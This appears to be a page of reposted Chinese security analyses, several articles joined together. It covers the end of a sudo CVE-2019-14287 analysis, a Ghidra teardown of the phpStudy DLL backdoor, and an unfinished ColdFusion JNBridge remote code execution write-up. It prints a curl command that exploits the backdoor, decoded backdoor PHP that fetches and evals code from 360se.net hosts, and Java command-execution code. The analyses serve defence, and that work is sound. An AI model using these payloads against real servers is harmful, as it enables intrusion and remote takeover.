可见,运行后,当前身份变成了 root。

其实 setresuid 函数只是系统调用 setresuid32 的简单封装,可以在 GLibc 的源码中看到它的实现:

// 文件:sysdeps/unix/sysv/linux/i386/setresuid.c
int
__setresuid (uid_t ruid, uid_t euid, uid_t suid)
{
  int result;
  result = INLINE_SETXID_SYSCALL (setresuid32, 3, ruid, euid, suid);
  return result;
}

setresuid32 最后调用的是内核函数 sys_setresuid,它的实现如下:

// 文件:kernel/sys.c
SYSCALL_DEFINE3(setresuid, uid_t, ruid, uid_t, euid, uid_t, suid)
{
  ...
  struct cred *new;
  ...
  kruid = make_kuid(ns, ruid);
  keuid = make_kuid(ns, euid);
  ksuid = make_kuid(ns, suid);
  new = prepare_creds();
  old = current_cred();
  ...
  if (ruid != (uid_t) -1) {
    new->uid = kruid;
    if (!uid_eq(kruid, old->uid)) {
      retval = set_user(new);
      if (retval < 0)
        goto error;
    }
  }
  if (euid != (uid_t) -1)
    new->euid = keuid;
  if (suid != (uid_t) -1)
    new->suid = ksuid;
  new->fsuid = new->euid;
  ...
  return commit_creds(new);
 error:
  abort_creds(new);
  return retval;
}

简单来说,内核在处理时,会调用 prepare_creds 函数创建一个新的凭证结构体,而传递给函数的 ruid、euid和suid 三个参数只有在不为 -1 的时候,才会将 ruid、euid 和 suid 赋值给新的凭证(见上面三个 if 逻辑),否则默认的 UID 就是 0。最后调用 commit_creds 使凭证生效。这就是为什么传递 -1 时,会拥有 root 权限的原因。

我们也可以写一段 SystemTap 脚本来观察下从应用层调用 setresuid 并传递 -1 到内核中的状态:

# 捕获 setresuid 的系统调用probe syscall.setresuid {
  printf("exec %s, args: %s\n", execname(), argstr)}# 捕获内核函数 sys_setresuid 接受到的参数probe kernel.function("sys_setresuid").call {  printf("(sys_setresuid) arg1: %d, arg2: %d, arg3: %d\n", int_arg(1), int_arg(2), int_arg(3));}# 捕获内核函数 prepare_creds 的返回值probe kernel.function("prepare_creds").return {  # 具体数据结构请见 linux/cred.h 中 struct cred 结构体  printf("(prepare_cred), uid: %d; euid: %d\n", $return->uid->val, $return->euid->val)}

然后执行:

[[email protected] tmp] # stap test.stp

接着运行前面我们编译的 a.out,看看 stap 捕获到的:

exec a.out, args: -1, -1, -1 # 这里是传递给 setresuid 的 3 个参数(sys_setresuid) arg1: -1, arg2: -1, arg3: -1 # 这里显示最终调用 sys_setresuid 的三个参数(prepare_cred), uid: 1000; euid: 0 # sys_setresuid 调用了 prepare_cred,可看到默认 EUID 是为 0的

作者:[email protected]知道创宇404积极防御实验室

作者博客:《CVE-2019-14287(Linux sudo 漏洞)分析》

原文链接:https://paper.seebug.org/1057/

*本文作者:Knownsec知道创宇,转载请注明来自FreeBuf.COM

这次事件已过去数日,该响应的也都响应了,虽然网上有很多厂商及组织发表了分析文章,但记载分析过程的不多,我只是想正儿八经用 Ghidra 从头到尾分析下。

一、工具和平台

主要工具:

Kali Linux

Ghidra 9.0.4

010Editor 9.0.2

样本环境:

Windows7

phpStudy 20180211

二 、分析过程

先在 Windows 7 虚拟机中安装 PhpStudy 20180211,然后把安装完后的目录拷贝到 Kali Linux 中。

根据网上公开的信息:后门存在于 php_xmlrpc.dll 文件中,里面存在“eval”关键字,文件 MD5 为 c339482fd2b233fb0a555b629c0ea5d5。

因此,先去找到有后门的文件:

lu4nx@lx-kali:/tmp/phpStudy$ find ./ -name php_xmlrpc.dll -exec md5sum {} \;
3d2c61ed73e9bb300b52a0555135f2f7  ./PHPTutorial/php/php-7.2.1-nts/ext/php_xmlrpc.dll
7c24d796e0ae34e665adcc6a1643e132  ./PHPTutorial/php/php-7.1.13-nts/ext/php_xmlrpc.dll
3ff4ac19000e141fef07b0af5c36a5a3  ./PHPTutorial/php/php-5.4.45-nts/ext/php_xmlrpc.dll
c339482fd2b233fb0a555b629c0ea5d5  ./PHPTutorial/php/php-5.4.45/ext/php_xmlrpc.dll
5db2d02c6847f4b7e8b4c93b16bc8841  ./PHPTutorial/php/php-7.0.12-nts/ext/php_xmlrpc.dll
42701103137121d2a2afa7349c233437  ./PHPTutorial/php/php-5.3.29-nts/ext/php_xmlrpc.dll
0f7ad38e7a9857523dfbce4bce43a9e9  ./PHPTutorial/php/php-5.2.17/ext/php_xmlrpc.dll
149c62e8c2a1732f9f078a7d17baed00  ./PHPTutorial/php/php-5.5.38/ext/php_xmlrpc.dll
fc118f661b45195afa02cbf9d2e57754  ./PHPTutorial/php/php-5.6.27-nts/ext/php_xmlrpc.dll

将文件 ./PHPTutorial/php/php-5.4.45/ext/php_xmlrpc.dll 单独拷贝出来,再确认下是否存在后门:

lu4nx@lx-kali:/tmp/phpStudy$ strings ./PHPTutorial/php/php-5.4.45/ext/php_xmlrpc.dll | grep eval
zend_eval_string
@eval(%s('%s'));
%s;@eval(%s('%s'));

从上面的搜索结果可以看到文件中存在三个“eval”关键字,现在用 Ghidra 载入分析。

在 Ghidra 中搜索下:菜单栏“Search” > “For Strings”,弹出的菜单按“Search”,然后在结果过滤窗口中过滤“eval”字符串,如图:

从上方结果“Code”字段看的出这三个关键字都位于文件 Data 段中。随便选中一个(我选的“@eval(%s(‘%s’));”)并双击,跳转到地址中,然后查看哪些地方引用过这个字符串(右击,References > Show References to Address),操作如图:

结果如下:

可看到这段数据在 PUSH 指令中被使用,应该是函数调用,双击跳转到汇编指令处,然后 Ghidra 会自动把汇编代码转成较高级的伪代码并呈现在 Decompile 窗口中:

如果没有看到 Decompile 窗口,在菜单Window > Decompile 中打开。

在翻译后的函数 FUN_100031f0 中,我找到了前面搜索到的三个 eval 字符,说明这个函数中可能存在多个后门(当然经过完整分析后存在三个后门)。

这里插一句,Ghidra 转换高级代码能力比 IDA 的 Hex-Rays Decompiler 插件要差一些,比如 Ghidra 转换的这段代码:

puVar8 = local_19f;
while (iVar5 != 0) {
  iVar5 = iVar5 + -1;
  *puVar8 = 0;
  puVar8 = puVar8 + 1;
}

在IDA中翻译得就很直观:

memset(&v27, 0, 0xB0u);

还有对多个逻辑的判断,IDA 翻译出来是:

if (a && b){
...
}

Ghidra 翻译出来却是:

if (a) {
  if(b) {
  }
}

而多层 if 嵌套阅读起来会经常迷路。总之 Ghidra 翻译的代码只有反复阅读后才知道是干嘛的,在理解这类代码上我花了好几个小时。

2.1 第一个远程代码执行的后门

第一个后门存在于这段代码:

iVar5 = zend_hash_find(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0xd8,
                       s__SERVER_1000ec9c,~uVar6,&local_14);
if (iVar5 != -1) {
  uVar6 = 0xffffffff;
  pcVar9 = s_HTTP_ACCEPT_ENCODING_1000ec84;
  do {
    if (uVar6 == 0) break;
    uVar6 = uVar6 - 1;
    cVar1 = *pcVar9;
    pcVar9 = pcVar9 + 1;
  } while (cVar1 != '\0');
  iVar5 = zend_hash_find(*(undefined4 *)*local_14,s_HTTP_ACCEPT_ENCODING_1000ec84,~uVar6,&local_28
                         );
  if (iVar5 != -1) {
    pcVar9 = s_gzip,deflate_1000ec74;
    pbVar4 = *(byte **)*local_28;
    pbVar7 = pbVar4;
    do {
      bVar2 = *pbVar7;
      bVar11 = bVar2 < (byte)*pcVar9;
      if (bVar2 != *pcVar9) {
      LAB_10003303:
        iVar5 = (1 - (uint)bVar11) - (uint)(bVar11 != false);
        goto LAB_10003308;
      }
      if (bVar2 == 0) break;
      bVar2 = pbVar7[1];
      bVar11 = bVar2 < ((byte *)pcVar9)[1];
      if (bVar2 != ((byte *)pcVar9)[1]) goto LAB_10003303;
      pbVar7 = pbVar7 + 2;
      pcVar9 = (char *)((byte *)pcVar9 + 2);
    } while (bVar2 != 0);
    iVar5 = 0;
  LAB_10003308:
    if (iVar5 == 0) {
      uVar6 = 0xffffffff;
      pcVar9 = s__SERVER_1000ec9c;
      do {
        if (uVar6 == 0) break;
        uVar6 = uVar6 - 1;
        cVar1 = *pcVar9;
        pcVar9 = pcVar9 + 1;
      } while (cVar1 != '\0');
      iVar5 = zend_hash_find(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) +
                             0xd8,s__SERVER_1000ec9c,~uVar6,&local_14);
      if (iVar5 != -1) {
        uVar6 = 0xffffffff;
        pcVar9 = s_HTTP_ACCEPT_CHARSET_1000ec60;
        do {
          if (uVar6 == 0) break;
          uVar6 = uVar6 - 1;
          cVar1 = *pcVar9;
          pcVar9 = pcVar9 + 1;
        } while (cVar1 != '\0');
        iVar5 = zend_hash_find(*(undefined4 *)*local_14,s_HTTP_ACCEPT_CHARSET_1000ec60,~uVar6,
                               &local_1c);
        if (iVar5 != -1) {
          uVar6 = 0xffffffff;
          pcVar9 = *(char **)*local_1c;
          do {
            if (uVar6 == 0) break;
            uVar6 = uVar6 - 1;
            cVar1 = *pcVar9;
            pcVar9 = pcVar9 + 1;
          } while (cVar1 != '\0');
          local_10 = FUN_100040b0((int)*(char **)*local_1c,~uVar6 - 1);
          if (local_10 != (undefined4 *)0x0) {
            iVar5 = *(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4);
            local_24 = *(undefined4 *)(iVar5 + 0x128);
            *(undefined **)(iVar5 + 0x128) = local_ec;
            iVar5 = _setjmp3(local_ec,0);
            uVar3 = local_24;
            if (iVar5 == 0) {
              zend_eval_string(local_10,0,&DAT_10012884,param_3);
            }
            else {
              *(undefined4 *)
                (*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) =
                local_24;
            }
            *(undefined4 *)
              (*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) = uVar3;
          }
        }
      }
    }
  }
 }

阅读起来非常复杂,大概逻辑就是通过 PHP 的 zend_hash_find 函数寻找 $_SERVER 变量,然后找到 Accept-Encoding 和 Accept-Charset 两个 HTTP 请求头,如果 Accept-Encoding 的值为 gzip,deflate,就调用 zend_eval_string 去执行 Accept-Encoding 的内容:

zend_eval_string(local_10,0,&DAT_10012884,param_3);

这里 zend_eval_string 执行的是 local_10 变量的内容,local_10 是通过调用一个函数赋值的:

local_10 = FUN_100040b0((int)*(char **)*local_1c,~uVar6 - 1);

函数 FUN_100040b0 最后分析出来是做 Base64 解码的。

到这里,就知道该如何构造 Payload 了:

Accept-Encoding: gzip,deflate
Accept-Charset: Base64加密后的PHP代码

朝虚拟机构造一个请求:

$ curl -H "Accept-Charset: $(echo 'system("ipconfig");' | base64)" -H 'Accept-Encoding: gzip,deflate' 192.168.128.6

结果如图:

2.2 第二处后门

沿着伪代码继续分析,看到这一段代码:

if (iVar5 == 0) {
  puVar8 = &DAT_1000d66c;
  local_8 = &DAT_10012884;
  piVar10 = &DAT_1000d66c;

  do {
    if (*piVar10 == 0x27) {
      (&DAT_10012884)[iVar5] = 0x5c;
      (&DAT_10012885)[iVar5] = *(undefined *)puVar8;
      iVar5 = iVar5 + 2;
      piVar10 = piVar10 + 2;
    }
    else {
      (&DAT_10012884)[iVar5] = *(undefined *)puVar8;
      iVar5 = iVar5 + 1;
      piVar10 = piVar10 + 1;
    }
    puVar8 = puVar8 + 1;
  } while ((int)puVar8 < 0x1000e5c4);
  spprintf(&local_20,0,s_$V='%s';$M='%s';_1000ec3c,&DAT_100127b8,&DAT_10012784);
  spprintf(&local_8,0,s_%s;@eval(%s('%s'));_1000ec28,local_20,s_gzuncompress_1000d018,
           local_8);
  iVar5 = *(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4);
  local_10 = *(undefined4 **)(iVar5 + 0x128);
  *(undefined **)(iVar5 + 0x128) = local_6c;
  iVar5 = _setjmp3(local_6c,0);
  uVar3 = local_10;

  if (iVar5 == 0) {
    zend_eval_string(local_8,0,&DAT_10012884,param_3);
  }
  else {
    *(undefined4 **)
      (*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) = local_10;
  }
  *(undefined4 *)(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) =
    uVar3;

  return 0;
 }

重点在这段:

puVar8 = &DAT_1000d66c;
local_8 = &DAT_10012884;
piVar10 = &DAT_1000d66c;
do {
  if (*piVar10 == 0x27) {
    (&DAT_10012884)[iVar5] = 0x5c;
    (&DAT_10012885)[iVar5] = *(undefined *)puVar8;
    iVar5 = iVar5 + 2;
    piVar10 = piVar10 + 2;
  }
  else {
    (&DAT_10012884)[iVar5] = *(undefined *)puVar8;
    iVar5 = iVar5 + 1;
    piVar10 = piVar10 + 1;
  }
  puVar8 = puVar8 + 1;
 } while ((int)puVar8 < 0x1000e5c4);

变量 puVar8 是作为累计变量,这段代码像是拷贝地址 0x1000d66c 至 0x1000e5c4 之间的数据,于是选中切这行代码:

puVar8 = &DAT_1000d66c;

双击 DAT_1000d66c,Ghidra 会自动跳转到该地址,然后在菜单选择 Window > Bytes 来打开十六进制窗口,现已处于地址 0x1000d66c,接下来要做的就是把 0x1000d66c~0x1000e5c4 之间的数据拷贝出来:

1、选择菜单 Select > Bytes;

2、弹出的窗口中勾选“To Address”,然后在右侧的“Ending Address”中填入 0x1000e5c4,如图:

按回车后,这段数据已被选中,我把它们单独拷出来,点击右键,选择 Copy Special > Byte String (No Spaces),如图:

然后打开 010Editor 编辑器:

1、新建文件:File > New > New Hex File;

2、粘贴拷贝的十六进制数据:Edit > Paste From > Paste from Hex Text

然后,把“00”字节全部去掉,选择 Search > Replace,查找 00,Replace 那里不填,点“Replace All”,处理后如下:

把处理后的文件保存为 p1。通过 file 命令得知文件 p1 为 Zlib 压缩后的数据:

$ file p1
p1: zlib compressed data

用 Python 的 zlib 库就可以解压,解压代码如下:

import zlib

with open("p1", "rb") as f:
    data = f.read()
    print(zlib.decompress(data))

执行结果如下:

[email protected]:/tmp$ python3 decom.py
b"$i='info^_^'.base64_encode($V.'<|>'.$M.'<|>').'==END==';$zzz='-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------';@eval(base64_decode('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CmZ1bmN0aW9uIHRjcEdldCgkc2VuZE1zZyA9ICcnLCAkaXAgPSAnMzYwc2UubmV0JywgJHBvcnQgPSAnMjAxMjMnKXsKCSRyZXN1bHQgPSAiIjsKICAkaGFuZGxlID0gc3RyZWFtX3NvY2tldF9jbGllbnQoInRjcDovL3skaXB9OnskcG9ydH0iLCAkZXJybm8sICRlcnJzdHIsMTApOyAKICBpZiggISRoYW5kbGUgKXsKICAgICRoYW5kbGUgPSBmc29ja29wZW4oJGlwLCBpbnR2YWwoJHBvcnQpLCAkZXJybm8sICRlcnJzdHIsIDUpOwoJaWYoICEkaGFuZGxlICl7CgkJcmV0dXJuICJlcnIiOwoJfQogIH0KICBmd3JpdGUoJGhhbmRsZSwgJHNlbmRNc2cuIlxuIik7Cgl3aGlsZSghZmVvZigkaGFuZGxlKSl7CgkJc3RyZWFtX3NldF90aW1lb3V0KCRoYW5kbGUsIDIpOwoJCSRyZXN1bHQgLj0gZnJlYWQoJGhhbmRsZSwgMTAyNCk7CgkJJGluZm8gPSBzdHJlYW1fZ2V0X21ldGFfZGF0YSgkaGFuZGxlKTsKCQlpZiAoJGluZ**bJ3RpbWVkX291dCddKSB7CgkJICBicmVhazsKCQl9CgkgfQogIGZjbG9zZSgkaGFuZGxlKTsgCiAgcmV0dXJuICRyZXN1bHQ7IAp9CgokZHMgPSBhcnJheSgid3d3IiwiYmJzIiwiY21zIiwiZG93biIsInVwIiwiZmlsZSIsImZ0cCIpOwokcHMgPSBhcnJheSgiMjAxMjMiLCI0MDEyNSIsIjgwODAiLCI4MCIsIjUzIik7CiRuID0gZmFsc2U7CmRvIHsKCSRuID0gZmFsc2U7Cglmb3JlYWNoICgkZHMgYXMgJGQpewoJCSRiID0gZmFsc2U7CgkJZ**yZWFjaCAoJHBzIGFzICRwKXsKCQkJJHJlc3VsdCA9IHRjcEdldCgkaSwkZ**iLjM2MHNlLm5ldCIsJHApOyAKCQkJaWYgKCRyZXN1bHQgIT0gImVyciIpewoJCQkJJGIgPXRydWU7CgkJCQlicmVhazsKCQkJfQoJCX0KCQlpZiAoJGIpYnJlYWs7Cgl9CgkkaW5mbyA9IGV4cGxvZGUoIjxePiIsJHJlc3VsdCk7CglpZiAoY291bnQoJGluZm8pPT00KXsKCQlpZiAoc3RycG9zKCRpbmZvWzNdLCIvKk9uZW1vcmUqLyIpICE9PSBmYWxzZSl7CgkJCSRpbmZvWzNdID0gc3RyX3JlcGxhY2UoIi8qT25lbW9yZSovIiwiIiwkaW5mb1szXSk7CgkJCSRuPXRydWU7CgkJfQoJCUBldmFsKGJhc2U2NF9kZWNvZGUoJGluZ**bM10pKTsKCX0KfXdoaWxlKCRuKTs='));"

用 base64 命令把这段 Base64 代码解密,过程及结果如下:

lu4nx@lx-kali:/tmp$ echo 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CmZ1bmN0aW9uIHRjcEdldCgkc2VuZE1zZyA9ICcnLCAkaXAgPSAnMzYwc2UubmV0JywgJHBvcnQgPSAnMjAxMjMnKXsKCSRyZXN1bHQgPSAiIjsKICAkaGFuZGxlID0gc3RyZWFtX3NvY2tldF9jbGllbnQoInRjcDovL3skaXB9OnskcG9ydH0iLCAkZXJybm8sICRlcnJzdHIsMTApOyAKICBpZiggISRoYW5kbGUgKXsKICAgICRoYW5kbGUgPSBmc29ja29wZW4oJGlwLCBpbnR2YWwoJHBvcnQpLCAkZXJybm8sICRlcnJzdHIsIDUpOwoJaWYoICEkaGFuZGxlICl7CgkJcmV0dXJuICJlcnIiOwoJfQogIH0KICBmd3JpdGUoJGhhbmRsZSwgJHNlbmRNc2cuIlxuIik7Cgl3aGlsZSghZmVvZigkaGFuZGxlKSl7CgkJc3RyZWFtX3NldF90aW1lb3V0KCRoYW5kbGUsIDIpOwoJCSRyZXN1bHQgLj0gZnJlYWQoJGhhbmRsZSwgMTAyNCk7CgkJJGluZm8gPSBzdHJlYW1fZ2V0X21ldGFfZGF0YSgkaGFuZGxlKTsKCQlpZiAoJGluZ**bJ3RpbWVkX291dCddKSB7CgkJICBicmVhazsKCQl9CgkgfQogIGZjbG9zZSgkaGFuZGxlKTsgCiAgcmV0dXJuICRyZXN1bHQ7IAp9CgokZHMgPSBhcnJheSgid3d3IiwiYmJzIiwiY21zIiwiZG93biIsInVwIiwiZmlsZSIsImZ0cCIpOwokcHMgPSBhcnJheSgiMjAxMjMiLCI0MDEyNSIsIjgwODAiLCI4MCIsIjUzIik7CiRuID0gZmFsc2U7CmRvIHsKCSRuID0gZmFsc2U7Cglmb3JlYWNoICgkZHMgYXMgJGQpewoJCSRiID0gZmFsc2U7CgkJZ**yZWFjaCAoJHBzIGFzICRwKXsKCQkJJHJlc3VsdCA9IHRjcEdldCgkaSwkZ**iLjM2MHNlLm5ldCIsJHApOyAKCQkJaWYgKCRyZXN1bHQgIT0gImVyciIpewoJCQkJJGIgPXRydWU7CgkJCQlicmVhazsKCQkJfQoJCX0KCQlpZiAoJGIpYnJlYWs7Cgl9CgkkaW5mbyA9IGV4cGxvZGUoIjxePiIsJHJlc3VsdCk7CglpZiAoY291bnQoJGluZm8pPT00KXsKCQlpZiAoc3RycG9zKCRpbmZvWzNdLCIvKk9uZW1vcmUqLyIpICE9PSBmYWxzZSl7CgkJCSRpbmZvWzNdID0gc3RyX3JlcGxhY2UoIi8qT25lbW9yZSovIiwiIiwkaW5mb1szXSk7CgkJCSRuPXRydWU7CgkJfQoJCUBldmFsKGJhc2U2NF9kZWNvZGUoJGluZ**bM10pKTsKCX0KfXdoaWxlKCRuKTs=' | base64 -d
@ini_set("display_errors","0");
error_reporting(0);
function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
        $result = "";
  $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);
  if( !$handle ){
    $handle = fsockopen($ip, intval($port), $errno, $errstr, 5);
        if( !$handle ){
                return "err";
        }
  }
  fwrite($handle, $sendMsg."\n");
        while(!feof($handle)){
                stream_set_timeout($handle, 2);
                $result .= fread($handle, 1024);
                $info = stream_get_meta_data($handle);
                if ($info['timed_out']) {
                  break;
                }
         }
  fclose($handle);
  return $result;
}

$ds = array("www","bbs","cms","down","up","file","ftp");
$ps = array("20123","40125","8080","80","53");
$n = false;
do {
        $n = false;
        foreach ($ds as $d){
                $b = false;
                foreach ($ps as $p){
                        $result = tcpGet($i,$d.".360se.net",$p);
                        if ($result != "err"){
                                $b =true;
                                break;
                        }
                }
                if ($b)break;
        }
        $info = explode("<^>",$result);
        if (count($info)==4){
                if (strpos($info[3],"/*Onemore*/") !== false){
                        $info[3] = str_replace("/*Onemore*/","",$info[3]);
                        $n=true;
                }
                @eval(base64_decode($info[3]));
        }
}while($n);

2.3 第三个后门

第三个后门和第二个实现逻辑其实差不多,代码如下:

puVar8 = &DAT_1000d028;
local_c = &DAT_10012884;
iVar5 = 0;
piVar10 = &DAT_1000d028;

do {
  if (*piVar10 == 0x27) {
    (&DAT_10012884)[iVar5] = 0x5c;
    (&DAT_10012885)[iVar5] = *(undefined *)puVar8;
    iVar5 = iVar5 + 2;
    piVar10 = piVar10 + 2;
  }
  else {
    (&DAT_10012884)[iVar5] = *(undefined *)puVar8;
    iVar5 = iVar5 + 1;
    piVar10 = piVar10 + 1;
  }
  puVar8 = puVar8 + 1;
 } while ((int)puVar8 < 0x1000d66c);

spprintf(&local_c,0,[email protected](%s('%s'));_1000ec14,s_gzuncompress_1000d018,&DAT_10012884);
iVar5 = *(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4);
local_18 = *(undefined4 *)(iVar5 + 0x128);
*(undefined **)(iVar5 + 0x128) = local_ac;
iVar5 = _setjmp3(local_ac,0);
uVar3 = local_18;

if (iVar5 == 0) {
  zend_eval_string(local_c,0,&DAT_10012884,param_3);
 }

重点在这段:

puVar8 = &DAT_1000d028;
local_c = &DAT_10012884;
iVar5 = 0;
piVar10 = &DAT_1000d028;

do {
  if (*piVar10 == 0x27) {
    (&DAT_10012884)[iVar5] = 0x5c;
    (&DAT_10012885)[iVar5] = *(undefined *)puVar8;
    iVar5 = iVar5 + 2;
    piVar10 = piVar10 + 2;
  }
  else {
    (&DAT_10012884)[iVar5] = *(undefined *)puVar8;
    iVar5 = iVar5 + 1;
    piVar10 = piVar10 + 1;
  }
  puVar8 = puVar8 + 1;
 } while ((int)puVar8 < 0x1000d66c);

后门代码在地址 0x1000d028~0x1000d66c 中,提取和处理方法与第二个后门的一样。找到并提出来,如下:

[email protected]:/tmp$ python3 decom.py
b" @eval( base64_decode('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CiRoID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokcCA9ICRfU0VSVkVSWydTRVJWRVJfUE9SVCddOwokZnAgPSBmc29ja29wZW4oJGgsICRwLCAkZXJybm8sICRlcnJzdHIsIDUpOwppZiAoISRmcCkgewp9IGVsc2UgewoJJG91dCA9ICJHRVQgeyRfU0VSVkVSWydTQ1JJUFRfTkFNRSddfSBIVFRQLzEuMVxyXG4iOwoJJG91dCAuPSAiSG9zdDogeyRofVxyXG4iOwoJJG91dCAuPSAiQWNjZXB0LUVuY29kaW5nOiBjb21wcmVzcyxnemlwXHJcbiI7Cgkkb3V0I**9ICJDb25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIjsKIAoJZndyaXRlKCRmcCwgJG91dCk7CglmY2xvc2UoJGZwKTsKfQ=='));"

把这段Base64代码解码:

lu4nx@lx-kali:/tmp$ echo 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CiRoID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokcCA9ICRfU0VSVkVSWydTRVJWRVJfUE9SVCddOwokZnAgPSBmc29ja29wZW4oJGgsICRwLCAkZXJybm8sICRlcnJzdHIsIDUpOwppZiAoISRmcCkgewp9IGVsc2UgewoJJG91dCA9ICJHRVQgeyRfU0VSVkVSWydTQ1JJUFRfTkFNRSddfSBIVFRQLzEuMVxyXG4iOwoJJG91dCAuPSAiSG9zdDogeyRofVxyXG4iOwoJJG91dCAuPSAiQWNjZXB0LUVuY29kaW5nOiBjb21wcmVzcyxnemlwXHJcbiI7Cgkkb3V0I**9ICJDb25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIjsKIAoJZndyaXRlKCRmcCwgJG91dCk7CglmY2xvc2UoJGZwKTsKfQ==' | base64 -d
@ini_set("display_errors","0");
error_reporting(0);
$h = $_SERVER['HTTP_HOST'];
$p = $_SERVER['SERVER_PORT'];
$fp = fsockopen($h, $p, $errno, $errstr, 5);
if (!$fp) {
} else {
        $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";
        $out .= "Host: {$h}\r\n";
        $out .= "Accept-Encoding: compress,gzip\r\n";
        $out .= "Connection: Close\r\n\r\n";

        fwrite($fp, $out);
        fclose($fp);
}

三、参考

https://github.com/jas502n/PHPStudy-Backdoor

《phpStudy 遭黑客入侵植入后门事件披露 | 微步在线报告》

《PhpStudy 后门分析》,作者:[email protected]知道创宇 404 实验室

作者博客:《使用 Ghidra 分析 phpStudy 后门》

原文链接:https://paper.seebug.org/1058/

*本文作者:[email protected]知道创宇404积极防御实验室,转载请注明来自FreeBuf.COM

漏洞简介

Adobe ColdFusion 是一个商用的快速开发平台。它可以作为一个开发平台使用,也可以提供Flash远程服务或者作为 Adobe Flex应用的后台服务器 。

2019年06月11日,Adobe 发布安全公告[1],修复了Adobe ColdFusion多个严重漏洞。其中有一个由Moritz Bechler提交的命令注入漏洞(CVE-2019-7839)。

2019年06月26日,Moritz Bechler 在 Bugtraq 上公布了远程代码执行漏洞(CVE-2019-7839)的部分细节[2],由于 JNBridge 组件存在缺陷,而 ColdFusion 默认开启JNBridge组件,导致代码执行漏洞。

漏洞影响

ColdFusion 2018 Update 3 及之前的版本

ColdFusion 2018 Update 10 及之前的版本

ColdFusion 11 Update 18 及之前的版本

<= ColdFusion 9

漏洞分析

根据 Moritz Bechler 披露的部分细节,是由于ColdFusion 默认开启了 JNBridge listener 从而导致了漏洞。

先来了解一下JNBridge。

什么是 JNBridge

JNBridge 是一种领先的JAVA与.NET互操作的的产品,凭借JNBridge技术,Java 和.NET代码无需交叉编译器就可以实现对象共享。所有Java代码运行在JVM上,而.NET代码则运行在CLR上。在该方案下,JVM和CLR可以运 行在不同的机器上,也可以运行在一台机器的不同进程上,甚至还能运行在相同的进程的不同应用程序域上。

下载 JNBridgePro,安装完之后会有demo。试用license

jnbp-eval-v10.0#1899-2367-9451-2280这里我们尝试使用.net去调用java,跑一下logDemo,了解下大致流程。

01.jpg

启动 Java 服务端

根据 JNBridge 的安装路径,修改startJava.bat,运行

02.jpg

可以看到,JNBridge 服务端 listener 已开启,监听在8085端口。

构建 .Net 客户端

根据 demo的指示文档 logDemo.pdf,一步一步构建 .Net 项目。

04.jpg

运行

运行 .Net 项目,调用 Java 服务端,成功调用。

05.jpg

如何执行调用 java.lang.Runtime

之前流程有一步是将loggerDemo.javaClass转成 logger.dll,试想一下,是否可以将java.lang.Runtime导成dll文件,供 .Net 客户端引用,然后去调用 Java 服务端的java.lang.Runtime

尝试一下

rt.jar引入 classpath

06.jpg

添加java.lang.Runtime

07.jpg

导出 runtime.dll

引入 .Net 项目中供调用

08.jpg

运行

09.jpg

成功调用到了 Java 服务端中的java.lang.Runtime,这也是这个漏洞的根源。

ColdFusion 中的 JNBridge

ColdFusion 中是默认运行了 JNBridge listener 的,并且是 Java 服务端,监听端口是 6095(ColdFusion 2018)、6093(ColdFusion 2016)、6085(ColdFusion <=9/11)。

由于 Coldfusion 中带的 JNBridge 版本不同,所以构造 payload 的方式有些差异。

ColdFusion 2016/2018

ColdFusion 2018 中的 JNBridge 版本是 v7.3.1,无法使用上面的的JNBridge v10去构造 payload,在 JNBridge 官网上可以下载一部分历史版本[3],下载 v7.3版本。

编写想要在 Java 服务端执行的代码

String command = "whoami";
String [] commandArgs;
String os = System.getProperty("os.name");
System.out.println(os);
if(os.toLowerCase().startsWith("win")){
      commandArgs = new String[]{"cmd.exe", "/c", command};
  }else {
      commandArgs = new String[]{"/bin/bash", "-c", command};
  }

Runtime runtime = Runtime.getRuntime();
Process process = runtime.exec(commandArgs);

BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = br.readLine()) != null)
   {
       System.out.println(line);
   }
       br.close();

里面使用到了java.lang.Runtimejava.lang.Processjava.io.BufferedReaderjava.io.InputStreamReaderjava.lang.System,将相关类从rt.jar中导成runtime2.dll,供 .Net 客户端引用。

根据 Java代码重写

10.jpg

这里面有个非常重要的 JNBShare.dll,这里使用自己安装的 JNBridge 成功后生成的 JNBShare.dll,无法使用ColdFusion 中 JNBridge 的 JNBShare.dll,会报错。

运行,*远程的ColdFusion 2018(Linux平台),成功返回结果。

11.jpg

ColdFusion 9/11

ColdFusion 9 内部的 JNBridge 版本是 v5.1,监听端口是 6085。由于这个版本比较老了,没找到安装包,现在需要生成供我们引用的runtime2.dll和能用的JNBShare.dll。ColdFusion 内部的 JNBridge中的jnbproxyGui.exe无法构建 .net -&gt; java项目,也就是说GUI工具用不了,所幸的是命令行工具还可以用。

jnbproxy.exe,看下参数。

12.jpg

根据参数,生成runtime2.dll

